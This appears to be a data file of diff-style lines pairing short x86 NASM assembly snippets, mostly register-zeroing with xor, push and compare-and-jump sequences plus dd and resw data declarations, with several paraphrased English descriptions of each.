+xor ebx, ebx \n cmp eax, ebx \n jne exit	zero out the ebx register and jump to the exit label if the contents of the eax register is not equal to the contents of the ebx register
+xor ebx, ebx \n mul ebx	zero out the eax and ebx register
+xor ebx, ebx \n mul ebx	zero out the eax register and the ebx register
+xor ebx, ebx \n push ebx	zero out the ebx register and push zero onto the stack
+xor ebx, ebx \n push ebx	push zero onto the stack
+xor ebx, ebx \n push ebx	clear the ebx register and push its contents onto the stack
+xor ebx, word __flag_byte	perform a logical xor between the ebx register and the word __flag_byte and save the result in ebx
+xor ecx, bh	perform a logical xor between the ecx register and the bh register and save the result in ecx
+xor ecx, dh	perform a logical xor between the ecx register and the dh register and save the result in ecx
+xor ecx, ecx	initialize ecx to zero
+xor ecx, ecx	initialize ecx with decimal value 0
+xor ecx, ecx	clear ecx
+xor ecx, ecx	clear ecx register
+xor ecx, ecx	clear the ecx register
+xor ecx, ecx	reset both lower and uppper bytes of ecx to be 0
+xor ecx, ecx	reset ecx to 0
+xor ecx, ecx	set the ecx register to null
+xor ecx, ecx	zero out ecx
+xor ecx, ecx	zero out the ecx register
+xor ecx, ecx \n cmp ebx, ecx \n je l1	zero out the ecx register and jump to the l1 label if the contents of the ebx register is equal to the contents of the ecx register
+xor ecx, ecx \n cmp ebx, ecx \n jne l1	zero out the ecx register and jump to the l1 label if the contents of the ebx register is not equal to the contents of the ecx register
+xor ecx, ecx \n mul ecx	zero out eax and ecx
+xor ecx, ecx \n mul ecx	zero out the eax register and the ecx register
+xor ecx, ecx \n push ecx	zero out the ecx register and push zero onto the stack
+xor ecx, ecx \n push ecx	push zero onto the stack
+xor ecx, ecx \n push ecx	clear the ecx register and push its contents onto the stack
+xor edi, edi	initialize edi with 0
+xor edi, edi	clear the edi register
+xor edi, edi	init edi 0
+xor edx, edx	initialize edx with the decimal value 0
+xor edx, edx	initialize edx with the hexadecimal value 0x0
+xor edx, edx	clear edx
+xor edx, edx	clear edx register
+xor edx, edx	clear the edx register
+xor edx, edx	reset edx to 0
+xor edx, edx	set the contents of edx to zero
+xor edx, edx	set the edx register to null
+xor edx, edx	zero out edx
+xor edx, edx	zero out the edx register
+xor edx, edx \n cmp ecx, edx \n je l2	zero out the edx register and jump to the l2 label if the contents of the ecx register is equal to the contents of the edx register
+xor edx, edx \n cmp ecx, edx \n jne l2	zero out the edx register and jump to the l2 label if the contents of the ecx register is not equal to the contents of the edx register
+xor edx, edx \n mul edx	zero out eax and edx
+xor edx, edx \n mul edx	zero out the eax and edx register
+xor edx, edx \n push edx	zero out the edx register and push zero onto the stack
+xor edx, edx \n push edx	push zero onto the stack
+xor edx, edx \n push edx	clear the edx register and push its contents onto the stack
+xor esi, esi	initialize the esi register with the decimal value 0
+xor esi, esi	clear the esi register
+xor esi, esi	init the esi register to 0
+xor zero_reg, zero_reg	clear zero_reg
+xor zero_reg, zero_reg	zero out zero_reg
+y dd 3000	declare a doubleword at address y initialized to contain 3000
+y: dd 0x0	create the doubleword variable y in memory and initialize it to zero
+ymmval: resw 1	reserve one word for ymmval
+z dd 1, 2, 3	declare three doubleword values initialized to 1 2 and 3 at address z
+z dd 1,2,3	declare three doublewords of memory starting at address z and initialized to 1 2 and 3
+z: dd 0x0	create the doubleword variable z in memory and initialize it to zero